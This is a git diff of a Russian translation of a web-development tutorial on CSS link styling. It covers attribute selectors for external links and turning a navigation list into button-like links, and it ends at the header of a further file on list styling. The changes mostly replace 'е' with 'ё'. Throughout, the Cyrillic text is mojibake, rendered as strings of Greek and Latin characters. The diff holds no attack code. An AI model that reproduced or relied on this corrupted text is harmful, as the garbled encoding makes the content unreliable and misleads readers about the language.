Π³ΠΎΡ€Π°Π·Π΄ΠΎ эффСктивнСС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ссылки для связи с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ частями вашСго сайта. ВСкст "http" Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΎ Π²Π½Π΅ΡˆΠ½ΠΈΡ… ссылках ΠΈ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ <a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">сСлСктора Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²</a>: <code>a[href*="http"]</code> Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ элСмСнты {{htmlelement("a")}}, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("href","a")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ содСрТащим "http" Π³Π΄Π΅-Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ.</p>
<p>Ну Π²ΠΎΡ‚ ΠΈ всС β€” ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒ ΡΠ΅ΠΊΡ†ΠΈΡŽ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ изучСния Π²Ρ‹ΡˆΠ΅ ΠΈ испытайтС этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄!</p>
<div class="note">
-<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: НС ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ Ссли Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с <a href="/en-US/docs/Learn/CSS/Styling_boxes">Ρ„ΠΎΠ½ΠΎΠΌ </a>ΠΈ <a href="/en-US/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΌ (ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ) Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½ΠΎΠΌ</a>; это объяснСно Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… мСстах</p>
+<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: НС ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ Ссли Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с <a href="/en-US/docs/Learn/CSS/Styling_boxes">Ρ„ΠΎΠ½ΠΎΠΌ </a>ΠΈ <a href="/en-US/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΌ (ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ) Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½ΠΎΠΌ</a>; это объяснСно Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… мСстах</p>
</div>
<h2 id="Бтилизация_ссылок_Π²_Π²ΠΈΠ΄Π΅_ΠΊΠ½ΠΎΠΏΠΎΠΊ">Бтилизация ссылок Π² Π²ΠΈΠ΄Π΅ ΠΊΠ½ΠΎΠΏΠΎΠΊ</h2>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ исслСдовали Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅</span></span> Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠΌ способом. НапримСр, Ρ‚Π°ΠΊΠΈΠ΅ состояния ΠΊΠ°ΠΊ hover ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для стилизации мноТСства Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… элСмСнтов, Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ссылок β€” Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Ρ…ΠΎΡ‚Π΅Ρ‚ΡŒ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ состояниС hover ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠ², элСмСнтов списка ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ.</p>
-<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, ссылки ΠΎΡ‡Π΅Π½ΡŒ часто ΡΡ‚ΠΈΠ»ΠΈΠ·ΡƒΡŽΡ‚ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ΠΈ выглядСли ΠΈ Π²Π΅Π»ΠΈ сСбя ΠΊΠ°ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π°Ρ… β€” Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ мСню Π²Π΅Π±-сайтов ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‡Π΅Π½ΠΎ ΠΊΠ°ΠΊ список, содСрТащий ссылки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π»Π΅Π³ΠΊΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ стилизован Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± выглядСл ΠΊΠ°ΠΊ Π½Π°Π±ΠΎΡ€ ΠΊΠ½ΠΎΠΏΠΎΠΊ управлСния ΠΈΠ»ΠΈ Π²ΠΊΠ»Π°Π΄ΠΎΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ доступом ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ частям сайта. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ ΠΊΠ°ΠΊ.</p>
+<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, ссылки ΠΎΡ‡Π΅Π½ΡŒ часто ΡΡ‚ΠΈΠ»ΠΈΠ·ΡƒΡŽΡ‚ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ΠΈ выглядСли ΠΈ Π²Π΅Π»ΠΈ сСбя ΠΊΠ°ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π°Ρ… β€” Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ мСню Π²Π΅Π±-сайтов ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‡Π΅Π½ΠΎ ΠΊΠ°ΠΊ список, содСрТащий ссылки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π»Π΅Π³ΠΊΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ стилизован Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± выглядСл ΠΊΠ°ΠΊ Π½Π°Π±ΠΎΡ€ ΠΊΠ½ΠΎΠΏΠΎΠΊ управлСния ΠΈΠ»ΠΈ Π²ΠΊΠ»Π°Π΄ΠΎΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ доступом ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ частям сайта. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ ΠΊΠ°ΠΊ.</p>
<p>Для Π½Π°Ρ‡Π°Π»Π° HTML:</p>
@@ -390,7 +390,7 @@ a:active {
color: white;
}</pre>
-<p>Π§Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
+<p>Π§Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
<p>{{ EmbedLiveSample('Бтилизация_ссылок_Π²_Π²ΠΈΠ΄Π΅_ΠΊΠ½ΠΎΠΏΠΎΠΊ', '100%', 100) }}</p>
@@ -398,13 +398,13 @@ a:active {
<ul>
<li>НашС Π²Ρ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ удаляСт заданный ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ {{cssxref("padding")}} Ρƒ элСмСнта {{htmlelement("ul")}} ΠΈ устанавливаСт Π΅Π³ΠΎ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ 100% внСшнСго ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° (Π² этом случаС {{htmlelement("body")}}).</li>
- <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ {{htmlelement("li")}} ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π½ΠΎΡ€ΠΌΠ΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌΠΈ (см. <a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">Ρ‚ΠΈΠΏΡ‹ Π±Π»ΠΎΠΊΠΎΠ² CSS</a> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ), Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° своих собствСнных строках. Π’ этом случаС ΠΌΡ‹ создаСм Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ список ссылок, поэтому Π² Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅ Π·Π°Π΄Π°Π΅ΠΌ свойству {{cssxref("display")}} Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ inline, <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ элСмСнты списка Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² ΠΎΠ΄Π½ΠΎΠΉ строкС Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌΒ </span></span>β€” Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΊΠ°ΠΊ строчныС элСмСнты.</li>
- <li>Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ β€” ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ стилизуСт элСмСнт {{htmlelement("a")}} β€” самоС слоТноС; Π΄Π°Π²Π°ΠΉΡ‚Π΅ пройдСмся ΠΏΠΎ Π½Π΅ΠΌΡƒ шаг Π·Π° шагом:
+ <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ {{htmlelement("li")}} ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π½ΠΎΡ€ΠΌΠ΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌΠΈ (см. <a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">Ρ‚ΠΈΠΏΡ‹ Π±Π»ΠΎΠΊΠΎΠ² CSS</a> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ), Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° своих собствСнных строках. Π’ этом случаС ΠΌΡ‹ создаём Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ список ссылок, поэтому Π² Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅ Π·Π°Π΄Π°Ρ‘ΠΌ свойству {{cssxref("display")}} Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ inline, <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ элСмСнты списка Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² ΠΎΠ΄Π½ΠΎΠΉ строкС Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌΒ </span></span>β€” Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΊΠ°ΠΊ строчныС элСмСнты.</li>
+ <li>Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ β€” ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ стилизуСт элСмСнт {{htmlelement("a")}} β€” самоС слоТноС; Π΄Π°Π²Π°ΠΉΡ‚Π΅ пройдёмся ΠΏΠΎ Π½Π΅ΠΌΡƒ шаг Π·Π° шагом:
<ul>
<li>ΠΊΠ°ΠΊ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ настройки ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для {{cssxref("text-decoration")}} ΠΈ {{cssxref("outline")}} β€” ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ΠΈ ΠΏΠΎΡ€Ρ‚ΠΈΠ»ΠΈ Π½Π°ΠΌ Π²ΠΈΠ΄.</li>
<li>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ устанавливаСм {{cssxref("display")}} Π½Π° <code>inline-block</code> β€” элСмСнты {{htmlelement("a")}} ΡΠ²Π»ΡΡŽΡ‚ΡΡ строчными ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π²Ρ‹Π²Π°Π»ΠΈΠ²Π°Π»ΠΈΡΡŒ Π½Π° свои собствСнныС строки ΠΊΠ°ΠΊ Ссли Π±Ρ‹ это ΠΏΠΎΠ»ΡƒΡ‡Π°Π»ΠΎΡΡŒ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>block</code>, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€. <code>inline-block</code> позволяСт Π½Π°ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒ это.</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°! ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всю ΡˆΠΈΡ€ΠΈΠ½Ρƒ элСмСнта {{htmlelement("ul")}}, ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ margin ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ (Π½Π΅ Π±Π΅Π· Π·Π°Π·ΠΎΡ€Π° с ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ края) ΠΈ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ 5 ΠΊΠ½ΠΎΠΏΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Π΄ΠΎ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌΒ {{cssxref("width")}} Π½Π° 19.5%, Π° {{cssxref("margin-right")}} Π½Π° 0.625%. Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ вся эта эта ΡˆΠΈΡ€ΠΈΠ½Π° составляСт 100.625%, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ послСдняя ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΠ΅Ρ€Π΅ΠΊΡ€ΠΎΠ΅Ρ‚ <code>&lt;ul&gt;</code> ΠΈ Π²Ρ‹ΠΏΠ°Π΄Π΅Ρ‚ Π²Π½ΠΈΠ· Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку. <span class="tlid-translation translation" lang="ru"><span title="">Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΌΡ‹ возвращаСмся ΠΊ 100%, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</span></span>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдний <code>&lt;a&gt;</code> Π² спискС ΠΈ удаляСт Π΅Π³ΠΎ margin. Π‘Π΄Π΅Π»Π°Π½ΠΎ!</li>
- <li>ПослСдниС Ρ‚Ρ€ΠΈ объявлСния довольно просты ΠΈ Π² основном просто для космСтичСских Ρ†Π΅Π»Π΅ΠΉ. ΠœΡ‹ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠ΅ΠΌ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ссылки, Π·Π°Π΄Π°Π΅ΠΌ {{cssxref("line-height")}} Π½Π° 3 Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΈΠΌΠ΅Π»ΠΈ Π½Π΅ΠΊΡƒΡŽ высоту (Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ прСимущСство Π² Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ тСкста ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ) ΠΈ Π·Π°Π΄Π°Π΅ΠΌ для тСкста Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚.</li>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°! ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всю ΡˆΠΈΡ€ΠΈΠ½Ρƒ элСмСнта {{htmlelement("ul")}}, ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ margin ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ (Π½Π΅ Π±Π΅Π· Π·Π°Π·ΠΎΡ€Π° с ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ края) ΠΈ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ 5 ΠΊΠ½ΠΎΠΏΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Π΄ΠΎ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌΒ {{cssxref("width")}} Π½Π° 19.5%, Π° {{cssxref("margin-right")}} Π½Π° 0.625%. Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ вся эта эта ΡˆΠΈΡ€ΠΈΠ½Π° составляСт 100.625%, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ послСдняя ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΠ΅Ρ€Π΅ΠΊΡ€ΠΎΠ΅Ρ‚ <code>&lt;ul&gt;</code> ΠΈ Π²Ρ‹ΠΏΠ°Π΄Π΅Ρ‚ Π²Π½ΠΈΠ· Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку. <span class="tlid-translation translation" lang="ru"><span title="">Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΌΡ‹ возвращаСмся ΠΊ 100%, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</span></span>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдний <code>&lt;a&gt;</code> Π² спискС ΠΈ удаляСт Π΅Π³ΠΎ margin. Π‘Π΄Π΅Π»Π°Π½ΠΎ!</li>
+ <li>ПослСдниС Ρ‚Ρ€ΠΈ объявлСния довольно просты ΠΈ Π² основном просто для космСтичСских Ρ†Π΅Π»Π΅ΠΉ. ΠœΡ‹ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠ΅ΠΌ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ссылки, Π·Π°Π΄Π°Ρ‘ΠΌ {{cssxref("line-height")}} Π½Π° 3 Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΈΠΌΠ΅Π»ΠΈ Π½Π΅ΠΊΡƒΡŽ высоту (Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ прСимущСство Π² Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ тСкста ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ) ΠΈ Π·Π°Π΄Π°Ρ‘ΠΌ для тСкста Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚.</li>
</ul>
</li>
</ul>
diff --git a/files/ru/learn/css/styling_text/styling_lists/index.html b/files/ru/learn/css/styling_text/styling_lists/index.html
index c4f25e9a04..3b57fc4763 100644
--- a/files/ru/learn/css/styling_text/styling_lists/index.html
+++ b/files/ru/learn/css/styling_text/styling_lists/index.html
@@ -71,7 +71,7 @@ paragraph for reference, paragraph for reference, paragraph for reference.&lt;/p
